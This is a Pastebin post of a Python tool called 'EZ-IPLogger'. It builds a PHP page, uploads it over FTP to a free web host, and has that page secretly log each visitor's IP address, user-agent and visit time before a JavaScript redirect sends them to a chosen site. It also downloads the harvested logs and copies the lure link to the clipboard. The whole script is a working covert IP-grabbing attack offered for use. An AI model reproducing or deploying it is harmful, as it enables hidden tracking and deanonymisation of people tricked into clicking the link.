Advertisement
Guest User

EZ-IPLogger

a guest
Jan 23rd, 2019
123
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.38 KB | None | 0 0
  1. #!/usr/bin/python
  2. #-- coding: utf8 --
  3. #Created by LimerBoy
  4.  
  5. import ftplib
  6. import configparser
  7. from os import system as cmd
  8. from os import startfile as start
  9. from os import remove as remove
  10.  
  11. #Settings
  12. cmd('cls')
  13. cmd('title EzIpLogger')
  14. cmd('color f')
  15.  
  16. try: remove('logs.txt')
  17. except: pass
  18.  
  19. try: remove('logger.php')
  20. except: pass
  21.  
  22. #Try open config.ini
  23. try:
  24.     cfg_file='config.ini'
  25.     config = configparser.ConfigParser()
  26.     config.read(cfg_file)
  27. except:
  28.     print('[x] - Error config.ini corrupted!')
  29.     input('Press enter')
  30.     raise SystemExit
  31.  
  32. host = config.get("HOST", "host")
  33. user = config.get("HOST", "user")
  34. password = config.get("HOST", "pass")
  35. port = config.get("HOST", "port")
  36.  
  37. try: session = ftplib.FTP(host, user, password, port)
  38. except:
  39.     print('[x] - Error ftp information not correct!\n      Change config.ini configuration')
  40.     input('Press enter')
  41.     raise SystemExit
  42.  
  43. print('[1] - Download logs')
  44. print('[2] - Upload logger')
  45. print('[3] - Information')
  46. print('[4] - Exit')
  47. command = str(input('<COMMAND> : '))
  48.  
  49. #Download logs
  50. if command == "1":
  51.     session.cwd('public_html')
  52.     try:
  53.         with open("logs.txt", 'wb') as f:
  54.             session.retrbinary('RETR ' + 'logs.txt', f.write)
  55.     except:
  56.         print('[x] - logs not found!')
  57.         input('Press enter')
  58.         raise SystemExit
  59.     else: print('[+] - logs.txt saved!')
  60.     start('logs.txt')
  61.     input('Press enter')
  62.     raise SystemExit
  63.  
  64.  
  65. #Upload logger
  66. elif command == "2":
  67.     redirect_url = str(input('Enter redirect url : https://'))
  68.     logger_code = ('''
  69. <!DOCTYPE html>
  70. <html>
  71. <head>
  72.     <title>Site</title>
  73.     <meta charset = "utf-8" />
  74. </head>
  75.     <body>
  76.         <?php
  77.             #Get IP
  78.             $line = '[==============================================]';
  79.             $client  = @$_SERVER['HTTP_CLIENT_IP'];
  80.             $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
  81.             $remote  = @$_SERVER['REMOTE_ADDR'];
  82.             if(filter_var($client, FILTER_VALIDATE_IP)) $ip = $client;
  83.             elseif(filter_var($forward, FILTER_VALIDATE_IP)) $ip = $forward;
  84.             else $ip = $remote;
  85.             #Get user-agent
  86.             $uagent = $_SERVER["HTTP_USER_AGENT"];
  87.             #Get time
  88.             $time = date('Y-m-d H:i:s');
  89.             #Write data to file logs.txt
  90.             file_put_contents('./logs.txt', PHP_EOL . "\\n\\n $line \\n time: [$time] \\n IP: $ip \\n User-agent: $uagent \\n $line \\n\\n ", FILE_APPEND);        
  91.         ?>
  92.         <script type="text/javascript">
  93.         window.location = "https://'''+redirect_url+'''"
  94.         </script>
  95.  
  96.     </body>
  97. </html>
  98. ''')
  99.     f=open('logger.php', 'w')
  100.     f.write(logger_code)
  101.     f.close()
  102.     try:
  103.         session.cwd('public_html')
  104.         with open("logger.php", 'rb') as f:
  105.             session.storbinary('STOR ' + "index.php", f, 1024)
  106.     except:
  107.         print('[x] - Error while loading script to host')
  108.         input('Press enter')
  109.         raise SystemExit
  110.     else:
  111.         print('[+] - All is okay\n      URL: https://'+user+".000webhostapp.com")
  112.         clip = 'echo | set /p nul='+'https://'+user+'.000webhostapp.com'+'| clip'
  113.         cmd(clip)
  114.         input('Press enter')
  115.         raise SystemExit
  116.  
  117. elif command == "3":
  118.     info=('''
  119. # Created by LimerBoy
  120. # vk.com  : https://qps.ru/BTZnN
  121. # github  : https://qps.ru/e5Aqb
  122. # YouTube : https://qps.ru/9mO2K
  123. ''')
  124.     print(info)
  125.     input('Press enter')
  126.     raise SystemExit
  127.  
  128. elif command == "4":
  129.     raise SystemExit
  130.  
  131. else:
  132.     print('[x] - command '+command+' not found!')
  133.     input('Press enter')
  134.     raise SystemExit
  135.  
  136.    ### Created by LimerBoy ###
  137. # vk.com  : https://qps.ru/BTZnN
  138. # github  : https://qps.ru/e5Aqb
  139. # YouTube : https://qps.ru/9mO2K
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement